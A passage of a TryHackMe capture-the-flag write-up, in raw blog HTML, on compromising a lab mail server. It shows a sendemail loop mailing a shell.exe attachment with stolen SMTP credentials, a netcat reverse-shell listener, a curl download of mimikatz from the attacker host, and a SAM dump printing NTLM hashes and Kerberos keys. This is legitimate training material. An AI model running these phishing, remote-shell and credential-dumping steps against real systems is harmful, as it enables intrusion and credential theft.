&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Saved as: shell.exe
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;                                                                                                    
&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~/Try_Hack_Me]
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;└─&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="k"&gt;for &lt;/span&gt;email &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;emails.txt&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do &lt;/span&gt;sendemail &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="s2"&gt;"lhedvig@brownbrick.co"&lt;/span&gt; &lt;span class="nt"&gt;-t&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$email&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"test"&lt;/span&gt; &lt;span class="nt"&gt;-m&lt;/span&gt; &lt;span class="s2"&gt;"test"&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; shell.exe &lt;span class="nt"&gt;-s&lt;/span&gt; 10.49.179.117:25 &lt;span class="nt"&gt;-xu&lt;/span&gt; &lt;span class="s2"&gt;"lhedvig@brownbrick.co"&lt;/span&gt; &lt;span class="nt"&gt;-xp&lt;/span&gt; &lt;span class="s2"&gt;"bricks"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Jun 13 07:40:38 kali sendemail[5277]: Email was sent successfully!
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Jun 13 07:40:39 kali sendemail[5278]: Email was sent successfully!
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Jun 13 07:40:39 kali sendemail[5279]: Email was sent successfully!
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Jun 13 07:40:40 kali sendemail[5280]: Email was sent successfully!
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Jun 13 07:40:40 kali sendemail[5281]: Email was sent successfully!
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Jun 13 07:40:41 kali sendemail[5282]: Email was sent successfully!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And in the reverse shell listener port we get this -&amp;gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~/Try_Hack_Me]
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;└─&lt;span class="nv"&gt;$ &lt;/span&gt;rlwrap nc &lt;span class="nt"&gt;-lvnp&lt;/span&gt; 443
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;listening on &lt;span class="o"&gt;[&lt;/span&gt;any] 443 ...
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;connect to &lt;span class="o"&gt;[&lt;/span&gt;192.168.129.81] from &lt;span class="o"&gt;(&lt;/span&gt;UNKNOWN&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;10.49.179.117] 49946
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Microsoft Windows &lt;span class="o"&gt;[&lt;/span&gt;Version 10.0.17763.1821]
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;c&lt;span class="o"&gt;)&lt;/span&gt; 2018 Microsoft Corporation. All rights reserved.
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;C:&lt;span class="se"&gt;\M&lt;/span&gt;ail&lt;span class="se"&gt;\A&lt;/span&gt;ttachments&amp;gt;whoami
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;whoami&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;brick-mail&lt;span class="se"&gt;\w&lt;/span&gt;rohit
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;C:&lt;span class="se"&gt;\M&lt;/span&gt;ail&lt;span class="se"&gt;\A&lt;/span&gt;ttachments&amp;gt;dir
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;dir&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;Volume &lt;span class="k"&gt;in &lt;/span&gt;drive C has no label.
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;Volume Serial Number is A8A4-C362
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;Directory of C:&lt;span class="se"&gt;\M&lt;/span&gt;ail&lt;span class="se"&gt;\A&lt;/span&gt;ttachments
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;06/13/2026  11:40 AM    &amp;lt;DIR&amp;gt;          &lt;span class="nb"&gt;.&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;06/13/2026  11:40 AM    &amp;lt;DIR&amp;gt;          ..
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;03/17/2024  06:09 PM               258 exec-mail.ps1
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;06/13/2026  11:40 AM             7,680 shell.exe
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;2 File&lt;span class="o"&gt;(&lt;/span&gt;s&lt;span class="o"&gt;)&lt;/span&gt;          7,938 bytes
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;2 Dir&lt;span class="o"&gt;(&lt;/span&gt;s&lt;span class="o"&gt;)&lt;/span&gt;  13,990,260,736 bytes free
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;C:&lt;span class="se"&gt;\M&lt;/span&gt;ail&lt;span class="se"&gt;\A&lt;/span&gt;ttachments&amp;gt;dir C:&lt;span class="se"&gt;\*&lt;/span&gt;flag&lt;span class="k"&gt;*&lt;/span&gt;.txt /s
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;dir &lt;/span&gt;C:&lt;span class="se"&gt;\*&lt;/span&gt;flag&lt;span class="k"&gt;*&lt;/span&gt;.txt /s
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;Volume &lt;span class="k"&gt;in &lt;/span&gt;drive C has no label.
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;Volume Serial Number is A8A4-C362
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;Directory of C:&lt;span class="se"&gt;\U&lt;/span&gt;sers&lt;span class="se"&gt;\w&lt;/span&gt;rohit&lt;span class="se"&gt;\D&lt;/span&gt;esktop
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;03/11/2024  05:15 AM                25 flag.txt
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;1 File&lt;span class="o"&gt;(&lt;/span&gt;s&lt;span class="o"&gt;)&lt;/span&gt;             25 bytes
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;Total Files Listed:
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;1 File&lt;span class="o"&gt;(&lt;/span&gt;s&lt;span class="o"&gt;)&lt;/span&gt;             25 bytes
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;0 Dir&lt;span class="o"&gt;(&lt;/span&gt;s&lt;span class="o"&gt;)&lt;/span&gt;  13,990,260,736 bytes free
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;C:&lt;span class="se"&gt;\M&lt;/span&gt;ail&lt;span class="se"&gt;\A&lt;/span&gt;ttachments&amp;gt;type C:&lt;span class="se"&gt;\U&lt;/span&gt;sers&lt;span class="se"&gt;\w&lt;/span&gt;rohit&lt;span class="se"&gt;\D&lt;/span&gt;esktop&lt;span class="se"&gt;\f&lt;/span&gt;lag.txt
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;type &lt;/span&gt;C:&lt;span class="se"&gt;\U&lt;/span&gt;sers&lt;span class="se"&gt;\w&lt;/span&gt;rohit&lt;span class="se"&gt;\D&lt;/span&gt;esktop&lt;span class="se"&gt;\f&lt;/span&gt;lag.txt
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;THM&lt;span class="o"&gt;{&lt;/span&gt;l1v1n_7h3_&lt;span class="k"&gt;*****&lt;/span&gt;_&lt;span class="k"&gt;****&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and we get the flag.&lt;/p&gt;

&lt;p&gt;At this point, since we are a member of the Administrators group, we can simply upload Mimikatz to the machine and use it to dump the hashes from the SAM registry as follows:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frge6g6js2yd2dhtw2jws.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frge6g6js2yd2dhtw2jws.png" alt=" " width="499" height="663"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;host a python server -&amp;gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;┌──(kali㉿kali)-[~/Try_Hack_Me]
&lt;/span&gt;&lt;span class="gp"&gt;└─$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;wget https://github.com/ParrotSec/mimikatz/blob/master/x64/mimikatz.exe
&lt;span class="go"&gt;--2026-06-13 08:00:57--  https://github.com/ParrotSec/mimikatz/blob/master/x64/mimikatz.exe
Resolving github.com (github.com)... 20.205.243.166
Connecting to github.com (github.com)|20.205.243.166|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: ‘mimikatz.exe’

&lt;/span&gt;&lt;span class="gp"&gt;mimikatz.exe                 [  &amp;lt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;                             &lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; 220.01K   757KB/s    &lt;span class="k"&gt;in &lt;/span&gt;0.3s    
&lt;span class="go"&gt;
2026-06-13 08:00:59 (757 KB/s) - ‘mimikatz.exe’ saved [225288]


┌──(kali㉿kali)-[~/Try_Hack_Me]
&lt;/span&gt;&lt;span class="gp"&gt;└─$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;python3 &lt;span class="nt"&gt;-m&lt;/span&gt; http.server 8000
&lt;span class="go"&gt;Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.49.179.117 - - [13/Jun/2026 08:02:12] "GET /mimikatz.exe HTTP/1.1" 200 -

&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and download that from the reverse shell -&amp;gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight batchfile"&gt;&lt;code&gt;&lt;span class="kd"&gt;C&lt;/span&gt;:\Mail\Attachments&amp;gt;curl &lt;span class="kd"&gt;http&lt;/span&gt;://192.168.129.81:8000/mimikatz.exe &lt;span class="na"&gt;-o &lt;/span&gt;&lt;span class="kd"&gt;mimikatz&lt;/span&gt;&lt;span class="err"&gt;.exe&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9v1hrkkd2sy7ylcll8hp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9v1hrkkd2sy7ylcll8hp.png" alt=" " width="530" height="512"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;then, we searched for the method of dumping Sam database via mimikatz -&amp;gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4t2035ifpfskpd990qdl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4t2035ifpfskpd990qdl.png" alt=" " width="749" height="845"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;C:\Mail\Attachments&amp;gt;&lt;/span&gt;mimikatz.exe
&lt;span class="go"&gt;mimikatz.exe
&lt;/span&gt;&lt;span class="gp"&gt;   .#&lt;/span&gt;&lt;span class="c"&gt;####.   mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36&lt;/span&gt;
&lt;span class="gp"&gt; .#&lt;/span&gt;&lt;span class="c"&gt;# ^ ##.  "A La Vie, A L'Amour" - (oe.eo)&lt;/span&gt;
&lt;span class="gp"&gt;  #&lt;/span&gt;&lt;span class="c"&gt;# / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )&lt;/span&gt;
&lt;span class="gp"&gt;  #&lt;/span&gt;&lt;span class="c"&gt;# \ / ##       &amp;gt; http://blog.gentilkiwi.com/mimikatz&lt;/span&gt;
&lt;span class="gp"&gt;  '#&lt;/span&gt;&lt;span class="c"&gt;# v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )&lt;/span&gt;
&lt;span class="gp"&gt;  '#&lt;/span&gt;&lt;span class="c"&gt;####'        &amp;gt; http://pingcastle.com / http://mysmartlogon.com   ***/&lt;/span&gt;
&lt;span class="gp"&gt; mimikatz #&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;privilege::debug
&lt;span class="go"&gt; Privilege '20' OK
&lt;/span&gt;&lt;span class="gp"&gt; mimikatz #&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;token::elevate
&lt;span class="go"&gt; Token Id  : 0
 User name : 
 SID name  : NT AUTHORITY\SYSTEM
&lt;/span&gt;&lt;span class="gp"&gt; 728 {0;&lt;/span&gt;000003e7&lt;span class="o"&gt;}&lt;/span&gt; 1 D 25319      NT AUTHORITY&lt;span class="se"&gt;\S&lt;/span&gt;YSTEM S-1-5-18 &lt;span class="o"&gt;(&lt;/span&gt;04g,21p&lt;span class="o"&gt;)&lt;/span&gt; Primary
&lt;span class="gp"&gt;  -&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Impersonated &lt;span class="o"&gt;!&lt;/span&gt;
&lt;span class="gp"&gt;  * Process Token : {0;&lt;/span&gt;003146ba&lt;span class="o"&gt;}&lt;/span&gt; 0 D 3995258    BRICK-MAIL&lt;span class="se"&gt;\w&lt;/span&gt;rohitS-1-5-21-1966530601-3185510712-10604624-1014 &lt;span class="o"&gt;(&lt;/span&gt;14g,24p&lt;span class="o"&gt;)&lt;/span&gt; Primary
&lt;span class="gp"&gt;  * Thread Token  : {0;&lt;/span&gt;000003e7&lt;span class="o"&gt;}&lt;/span&gt; 1 D 4017344    NT AUTHORITY&lt;span class="se"&gt;\S&lt;/span&gt;YSTEM S-1-5-18 &lt;span class="o"&gt;(&lt;/span&gt;04g,21p&lt;span class="o"&gt;)&lt;/span&gt; Impersonation &lt;span class="o"&gt;(&lt;/span&gt;Delegation&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt; mimikatz #&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;lsadump::sam
&lt;span class="go"&gt; Domain : BRICK-MAIL
 SysKey : 36c8d26ec0df8b23ce63bcefa6e2d821
 Local SID : S-1-5-21-1966530601-3185510712-10604624
 SAMKey : 6e708461100b4988991ce3b4d8b1784e
 RID  : 000001f4 (500)
 User : Administrator
   Hash NTLM: 2dfe3378335d43f9764e581b856a662a
 Supplemental Credentials:
 * Primary:NTLM-Strong-NTOWF *
     Random Value : 3d527dff081980ff09e87e492cebee23
 * Primary:Kerberos-Newer-Keys *
     Default Salt : EC2AMAZ-QTVAAHMAdministrator
     Default Iterations : 4096
     Credentials
       aes256_hmac       (4096) : 9484aadacd6c5994aed633bf92b6b3db31c57c932d2cd84a7fa635a0b3262806
       aes128_hmac       (4096) : cdda685dd630dd0796e5ddf38e22dce5
       des_cbc_md5       (4096) : 08340db613fb46b5
    OldCredentials
      aes256_hmac       (4096) : 50141e3b3b449512e393a66c32e7f89a131744eef5d8a3f6a8576919a810cda3
       aes128_hmac       (4096) : 0d717b42dbaf77bb7248b4bebf8bb3a6
       des_cbc_md5       (4096) : bc23a20170542f25
     OlderCredentials
       aes256_hmac       (4096) : 3b191b95e0b1fa83077319699194a79c8adea64e36bade3e959ccbbff42ea095
       aes128_hmac       (4096) : 318ecf3e0f6b969a949092706b519548
       des_cbc_md5       (4096) : 97f7bc3ead1f6ed6
 * Packages *
     NTLM-Strong-NTOWF
 * Primary:Kerberos *
     Default Salt : EC2AMAZ-QTVAAHMAdministrator
     Credentials
       des_cbc_md5       : 08340db613fb46b5
     OldCredentials
       des_cbc_md5       : bc23a20170542f25
 RID  : 000001f5 (501)
 User : Guest
 RID  : 000001f7 (503)
 User : DefaultAccount
 RID  : 000001f8 (504)
 User : WDAGUtilityAccount
   Hash NTLM: 58f8e0214224aebc2c5f82fb7cb47ca1
 Supplemental Credentials:
 * Primary:NTLM-Strong-NTOWF *
     Random Value : a1528cd40d99e5dfa9fa0809af998696
 * Primary:Kerberos-Newer-Keys *
     Default Salt : WDAGUtilityAccount
     Default Iterations : 4096
     Credentials
       aes256_hmac       (4096) : 3ff137e53cac32e3e3857dc89b725fd62ae4eee729c1c5c077e54e5882d8bd55
       aes128_hmac       (4096) : 15ac5054635c97d02c174ee3aa672227
       des_cbc_md5       (4096) : ce9b2cabd55df4ce
 * Packages *
     NTLM-Strong-NTOWF
 * Primary:Kerberos *
     Default Salt : WDAGUtilityAccount
     Credentials
       des_cbc_md5       : ce9b2cabd55df4ce
 RID  : 000003f1 (1009)
 User : fstamatis
   Hash NTLM: 034c830cc313485a82e57a0d9dfa14e4
 Supplemental Credentials:
 * Primary:NTLM-Strong-NTOWF *
     Random Value : 2ac6116566738883775d4c64894922ea
 * Primary:Kerberos-Newer-Keys *
     Default Salt : BRICK-MAILfstamatis
     Default Iterations : 4096
     Credentials
       aes256_hmac       (4096) : b677f117b8f87d99bd2bec0dc2763404eb28d34e173722ec4d663d439b121c6d
       aes128_hmac       (4096) : d96cbd8c143e83959cf98b1b37bc5c08
       des_cbc_md5       (4096) : 017acb2f802a70a2
 * Packages *
     NTLM-Strong-NTOWF
 * Primary:Kerberos *
     Default Salt : BRICK-MAILfstamatis
     Credentials
       des_cbc_md5       : 017acb2f802a70a2
 RID  : 000003f2 (1010)
 User : lhedvig
   Hash NTLM: 034c830cc313485a82e57a0d9dfa14e4
 Supplemental Credentials:
 * Primary:NTLM-Strong-NTOWF *
     Random Value : 9a9fe1153250a8c494ac7290b6e86bec
 * Primary:Kerberos-Newer-Keys *
     Default Salt : BRICK-MAILlhedvig
     Default Iterations : 4096
     Credentials
       aes256_hmac       (4096) : 9cc3c27c2b6a7a6bfdcf4c9790aee0bd3012f337a8c452a0a5321ee6673c663b
       aes128_hmac       (4096) : 9d9bc45f622cf03fe08b86bd9ef45e5a
       des_cbc_md5       (4096) : d96770bce3ba327a
 * Packages *
     NTLM-Strong-NTOWF
 * Primary:Kerberos *
     Default Salt : BRICK-MAILlhedvig
     Credentials
       des_cbc_md5       : d96770bce3ba327a
 RID  : 000003f3 (1011)
 User : oaurelius
   Hash NTLM: 034c830cc313485a82e57a0d9dfa14e4
 Supplemental Credentials:
 * Primary:NTLM-Strong-NTOWF *
     Random Value : bb03e2de24b406b050d5c4b110de5d94
 * Primary:Kerberos-Newer-Keys *
     Default Salt : BRICK-MAILoaurelius
     Default Iterations : 4096
     Credentials
       aes256_hmac       (4096) : 4e4d369c51fe79b5fa9cd372a6e2983b3d30ae43f7990701548775d087106532
       aes128_hmac       (4096) : ed9ae473c2213b7994c94e800cdb05ca
       des_cbc_md5       (4096) : 3167266bd54c3191
 * Packages *
     NTLM-Strong-NTOWF
 * Primary:Kerberos *
     Default Salt : BRICK-MAILoaurelius
     Credentials
       des_cbc_md5       : 3167266bd54c3191
 RID  : 000003f4 (1012)
 User : pcathrine
   Hash NTLM: 034c830cc313485a82e57a0d9dfa14e4
 Supplemental Credentials:
 * Primary:NTLM-Strong-NTOWF *
     Random Value : e52951c39856ffc37c81c2df09ccad3c
 * Primary:Kerberos-Newer-Keys *
     Default Salt : BRICK-MAILpcathrine
     Default Iterations : 4096
     Credentials
       aes256_hmac       (4096) : ea10cad59f29a9c8daf61992e574781a095d9e4c6443da8170a7c07c051eda59
       aes128_hmac       (4096) : 93005a1203c24a41c9a05beee9662d13
       des_cbc_md5       (4096) : ae701fec345b3b8c
 * Packages *
     NTLM-Strong-NTOWF
 * Primary:Kerberos *
     Default Salt : BRICK-MAILpcathrine
     Credentials
       des_cbc_md5       : ae701fec345b3b8c
 RID  : 000003f5 (1013)
 User : tchikondi
   Hash NTLM: 034c830cc313485a82e57a0d9dfa14e4
 Supplemental Credentials:
 * Primary:NTLM-Strong-NTOWF *
     Random Value : 5588ad299d776483b44417c0bd88861a
 * Primary:Kerberos-Newer-Keys *
     Default Salt : BRICK-MAILtchikondi
     Default Iterations : 4096
     Credentials
       aes256_hmac       (4096) : eaa49b1593bb2c8240611ead9100002a3c520fcbfd103629da20046e5f093b10
       aes128_hmac       (4096) : ef093a7d07ae03cedfbe3098a7376706
       des_cbc_md5       (4096) : 6bab43253e6b4aa1
 * Packages *
     NTLM-Strong-NTOWF
 * Primary:Kerberos *
     Default Salt : BRICK-MAILtchikondi
     Credentials
       des_cbc_md5       : 6bab43253e6b4aa1
 RID  : 000003f6 (1014)
 User : wrohit
   Hash NTLM: 8458995f1d0a4b0c107fb8**********
 Supplemental Credentials:
 * Primary:NTLM-Strong-NTOWF *
     Random Value : 5e0d9f81c0780c189099b7758d79a2e6
 * Primary:Kerberos-Newer-Keys *
     Default Salt : BRICK-MAILwrohit
     Default Iterations : 4096
     Credentials
       aes256_hmac       (4096) : 06cf703200c4fcd6ffaca428e96f18e5063dbb956c58aa7edee5b5acd7817b64
       aes128_hmac       (4096) : 8976fef34b9b36fea80c2d65c764ec5e
       des_cbc_md5       (4096) : 192558b67f7983a4
     OldCredentials
       aes256_hmac       (4096) : 227b60e30b0f1b929da7a0022c56de98121b6b8c151061be8f3923b823b6a85a
       aes128_hmac       (4096) : 82b5027730dd8a73890e09ea65cec047
       des_cbc_md5       (4096) : 13adae677067f7e9
 * Packages *
     NTLM-Strong-NTOWF
 * Primary:Kerberos *
     Default Salt : BRICK-MAILwrohit
     Credentials
       des_cbc_md5       : 192558b67f7983a4
     OldCredentials
       des_cbc_md5       : 13adae677067f7e9
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And we get the NTLM hash of "wrohit" -&amp;gt;&lt;br&gt;
&lt;code&gt;User : wrohit Hash NTLM: 8458995f1d0a4b0c107fb8**********&lt;/code&gt; &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb56ywkfji4xgmtc1pfe3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb56ywkfji4xgmtc1pfe3.png" alt=" " width="799" height="394"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Lastly, we are tasked with finding the password for the hMailServer Administrator Dashboard&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;C:\Mail\Attachments&amp;gt;&lt;/span&gt;&lt;span class="nb"&gt;dir &lt;/span&gt;C:&lt;span class="se"&gt;\*&lt;/span&gt;hMailServer&lt;span class="k"&gt;*&lt;/span&gt;  /s
&lt;span class="go"&gt;dir C:\*hMailServer*  /s
 Volume in drive C has no label.
 Volume Serial Number is A8A4-C362

 Directory of C:\Program Files (x86)

&lt;/span&gt;&lt;span class="gp"&gt;01/29/2024  05:45 AM    &amp;lt;DIR&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;hMailServer
&lt;span class="go"&gt;               0 File(s)              0 bytes

 Directory of C:\Program Files (x86)\hMailServer\Addons\DataDirectorySynchronizer

10/03/2021  08:12 AM           176,128 Interop.hMailServer.dll
               1 File(s)        176,128 bytes

 Directory of C:\Program Files (x86)\hMailServer\Bin

10/03/2021  08:12 AM         4,636,672 hMailServer.exe
02/25/2024  11:15 PM               604 hMailServer.INI
10/03/2021  08:12 AM            19,456 hMailServer.Minidump.exe
10/03/2021  08:09 AM           163,976 hMailServer.tlb
10/03/2021  08:12 AM           176,128 Interop.hMailServer.dll
               5 File(s)      4,996,836 bytes

 Directory of C:\Program Files (x86)\hMailServer\Database

06/17/2026  06:45 AM           675,840 hMailServer.sdf
               1 File(s)        675,840 bytes

 Directory of C:\ProgramData\Microsoft\Windows\Start Menu\Programs

&lt;/span&gt;&lt;span class="gp"&gt;01/29/2024  05:45 AM    &amp;lt;DIR&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;hMailServer
&lt;span class="go"&gt;               0 File(s)              0 bytes

 Directory of C:\ProgramData\Microsoft\Windows\Start Menu\Programs\hMailServer

01/29/2024  05:45 AM             1,175 hMailServer Administrator.lnk
01/29/2024  05:45 AM             1,158 hMailServer Database Setup.lnk
               2 File(s)          2,333 bytes

 Directory of C:\ProgramData\Microsoft\Windows\Start Menu\Programs\hMailServer\Installation

01/29/2024  05:45 AM             1,077 Uninstall hMailServer.lnk
               1 File(s)          1,077 bytes

 Directory of C:\Users\Administrator\AppData\Local\Halvar Information

&lt;/span&gt;&lt;span class="gp"&gt;01/29/2024  05:42 AM    &amp;lt;DIR&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;hMailServer
&lt;span class="go"&gt;               0 File(s)              0 bytes

